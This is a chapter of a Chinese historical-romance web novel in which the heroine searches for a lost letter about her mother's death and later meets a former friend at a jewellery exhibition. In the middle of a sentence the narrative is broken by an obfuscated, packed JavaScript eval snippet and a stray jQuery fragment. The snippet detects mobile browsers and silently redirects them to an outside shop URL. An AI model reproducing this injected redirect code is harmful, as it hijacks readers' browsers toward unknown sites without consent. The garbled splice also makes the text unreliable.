好不容易得来的线索又断了。
扇子无法溯源,信也不知所踪,母亲的几位旧部死的死散的散,她无可奈何,毫无办法。
如今答案呼之欲出,所有的谜底都在那封信上,只要找到那封信就能揪出来背后的人,可是她找不到。
泠筝狠狠砸了几下桌子,拳头攥得指节直响。
魏棠将她的手拉过去包在掌心里,满眼疼惜。
“别这样,小姐。别伤了你自己。”
她忽然趴在桌上低声哭了起来,“母亲她,就没和你说过,没说过一点信上的内容吗?”
魏棠将泠筝搂在怀中,像小时候抱她那样轻轻拍着她的脊背,无声地沉默着。
“一点,一点都没有吗?”
“是我害了她,是我害了母亲……”
魏棠将她抱紧,“不,不怪你,不怪你,小姐。公主是被人骗去了江州,是那个人害了公主。”
“公主一直都很爱你,她不会怨你。”
只是事情过去太久了,当时送信的小厮早已无影无踪,射箭的贼人也被削了脑袋,
“时间还长,小姐。我既来了京中,虽不知前路是何光景,但这次就算是刀光剑影,我也不会离开你了。”
你别怕,也别急。
低沉的抽泣声直到很久以后才停止,萧霄敲了几下门走了进来。
“主子,这几日可有其他吩咐?”
泠筝垂眸调整着自己的情绪,“没有,手底下先停一段时间吧,扇子的事可能就是个警告,暂时别再引人注意了。”
“暂歇几日,等我理清头绪再说。两日后尚宝斋的珠玉展,你陪我去。”
“是。”
萧霄领命告退。
泠筝将魏棠安排在了府内,就住在泠筝的院里。
她觉得自己安心了许多,一看到魏棠就好像又回到了幼时被陪伴呵护的日子,没有以前那么心慌了。
已是深夜,南苑里却灯火通明。
泠筝迟迟无法入睡,她在屋子里翻箱倒柜到处翻找信件,找一会儿停一会儿,坐在地上抱着膝盖闭上眼小憩,屋内被翻得乱七八糟。
很奇怪,她明明知道母亲当时带走了那封信,但还是控制不住地想再找找。
她不知道自己这样做有什么意义,她的整颗心现在都被那封信揪住了。
按照魏棠说的话,母亲后续的丧仪她没有资格插手,等她找到机会靠近遗体去翻那封信的时候,什么都没有了。
那么重要的东西,母亲定不会随便扔在哪里,去江州的路上丢掉的可能性极小。
如此看来,是有人刻意拿走了信,避免事情败露。
信上定不会只有简单的消息,肯定是表明了写信人的身份,才能让母亲信以为真,确保她一定会相信并动身前往。
凶手会是母亲得罪过的什么人吗?
泠筝从前也做过这样的设想,当年母亲为了扶持圣上登基暗中帮其清扫了不少障碍,那些人或死或贬,甚至流放,并没有掀起大风大浪的本事。
那就只能是漏网之鱼了吧?
能知道先帝藏身何处,逆贼埋伏在何处,又能将信送进公主府,还让母亲深信不疑。
什么样的人会集齐这几个条件?
那人恐怕就是南雍安插在京城中的内应。
叛贼或是细作,与她母亲有私仇……不过,到底有没有私仇?
有私仇怎会让母亲轻易相信他说的话?
没私仇又何必害她?
说来说去关键信息都在那封信上,只要知道了信的内容,一切问题都能迎刃而解,还能顺着线找到敌国的暗桩。
可是信呢?信到底去了哪儿?
泠筝心烦意燥,各种设想在她脑子里乱成一团,她用力捶了几下脑袋,手抹过脸。
她烦闷地踹开脚边的几本册子,翻页的哗啦哗啦声在夜里尤为清晰。
泠筝的脚踝蜷得生疼,她挣扎着站起来,捶了几下腿,然后僵着步伐往屋外走去。
院子里寂静一片,只稀稀落落挂着几个灯笼。
一轮圆月挂在夜幕中,皎皎银辉落向凡尘,映得这世间山寒水冷。
泠筝隐约听得到打更人的声音,她沿着挂灯笼的那条小路漫无目的地走往前走,夜风清新自然,吹得她心里平静了许多。
不知不觉竟走到了偏苑,几场风雨过后海棠花落满地,泠筝踩着落花步步向前。
她站到树下的阴影中,想起从前沈越常常待在这里和她说话,那时候她还是安慰别人的那个角色。
如今,她也身处阴影之中了。
原来站在这里是这样的感觉,与黑暗融为一体倒让泠筝莫名有种安全感,没有人会看得清她,她却看得到别人。
同样,她也向往着光亮处。
天快蒙蒙亮时泠筝才回到房间,换下沾了露水的衣裳,坐在铜镜前两手撑着脸颊望着镜中的自己。
凉月将屋内杂乱的书册和信纸整理好,重新放回原位。
“小姐,去眯一会儿吧,您一晚上没合眼了。”
泠筝眼睛胀痛,她一手捂在眼睛上揉了几下,叹声道:“我睡不着。心里很乱,我想去江州。”
凉月端来一杯参茶,“小姐,江州偏远,来去一趟并不容易。何况眼下形势不适合离京,还是再等等吧。”
泠筝道:“我知道啊。我知道你说的这些事情,可我不知道为什么,就是很想去良江畔。”
“这些年我一直不敢细想促使母亲最后下定决心去那里的原因是什么,我想着应该跟我有关系,也想过她可能是得了逆贼埋伏先帝的消息,家国大于一切,一路兼程去护驾。”
可现在泠筝知道了,母亲是在被人引着去寻她的路上又遭误杀,这个结果出乎她的意料。
她的失踪在这件事里起到的作用太大了,泠筝一时无法接受。
那封信也许早就化成了灰烬,她要上哪儿去找那个人?
泠筝一口气喝完参茶,望向泛白的天空,她道:“我一定要去一趟江州。”
巳时,人流如织,杨掌柜亲自迎了泠筝进雅间。
今日天气也很给面子,来客格外的多,迎完这个迎那个,尚宝斋一群人忙得晕头转向。
一楼大堂内整齐地排列着许多木架子,托着方形盘子成列着镶了各色宝石的成套头面。
金镶玉,红宝石,玉连环,翡翠坠子,琉璃盏……
窗户糊的是明纸,照得屋内格外亮堂,点点金箔缀在红绸上明灭可见,目光所及之处皆是耀眼的光彩。
泠筝感慨道:“还真是气派啊,整个京城也没有比尚宝斋更赚银子的铺子了。”
凉月端来一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17115954|195807||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
盘果子放在泠筝手边,“小姐,方才奴婢见到沈家两位公子了,就在咱们隔壁。”
“嗯,知道了。”
泠筝正忙着瞧中意的首饰,她左看看,右看看,却被一堵墙一样的东西挡住了视线。
抬头一瞄,萧霄就站在一旁审视着场内的人,目光锐利如鹰隼一般,让人一眼就能看出来他是做什么的。
泠筝觉得场面有些滑稽,她道:“萧霄,你进来。”
萧霄闻言走了进去,一本正经道:“主子,可是现在行动?”
泠筝否认:“不是。你往哪一站谁不知道你是做什么的,待会堂内的伙计都得盯紧你,还怎么做事?”
“……”
“是属下失职了。”
泠筝抬手摆了几下,“不,是你太尽职了。”
确实是太尽职了。
萧霄本是暗卫,这些年尽帮着她做暗处的事情了,本就没怎么干过寻常侍卫的活。常年躲在暗处观察着别人的一举一动,让他站在人多的地方是有些难为他了。
隔壁传来一阵说话声,有男有女,听起来人还不少。
泠筝侧耳听了一会儿,坐在那里目光有些呆滞。
她听到了永宁公主的声音。
凉月意识到不对劲后立马上前关住了门,她道:“小姐,外面吵闹,宝石又晃眼。待东西摆齐了小姐喜欢哪样奴婢拿上来给小姐看吧。”
“小姐尝尝这酥饼,闻着可香了,小姐一定喜欢。”
说着将一个小碟子递过来,泠筝拿起一块咬了一口,味道甜而不腻,略带些茶香味,确实好吃。
泠筝对着凉月一笑,又拿起一个放到她嘴边,说道:“不必了,把门打开吧。就这点小事,我还不至于承受不住。”
凉月接过酥饼,将门重新打开。
沈越靠在围栏处目光投向屋内,泠筝一抬头与他打了个照面。
泠筝瞄了沈越一眼,缓缓开口道:“还未来得及恭贺沈二公子病愈,倒在这里遇上了。”
沈越走近了些,一步步极为沉重。
“郡主妙手,自当痊愈得快些。”
泠筝勾唇笑道:“沈二公子过誉。”
沈越站在门口不进不出,把视线完全挡死了,泠筝只听得见外面的声音,却看不到东西。
“你是要进来,还是要出去?别站在那里挡着我看宝贝。”
沈越稍微侧过些身,但还是站在那个位置没动,眼神忽上忽下的不知道在想些什么。
“我来是想说……”
萧宵上去就开始赶人,“这位公子,若是话说完了就请您出去,不要打扰到郡主清静。”
二人僵持在那里,沈越的手紧抓着门沿,脸色不太好看。
泠筝眼尾不经意间扫过沈越的脸,面上依旧镇定,尽量不去看他。
人人都有自己的路要走,她不怪沈越犹豫。
要是沈越很干脆地表示站她这边,她反倒不会觉得多高兴。
一个人若是嘴上说着亏欠,行动上却不弥补,随意能将对方抛之脑后,那才更可怕。
只是一想到他们从今以后就是两路人了,泠筝心里一阵唏嘘。
好像每个人都在她的生命里恰逢其时地出现,再悄无声息地退场,每次的时机都卡的刚刚好。
她靠在椅背上眯着眼,不再去想。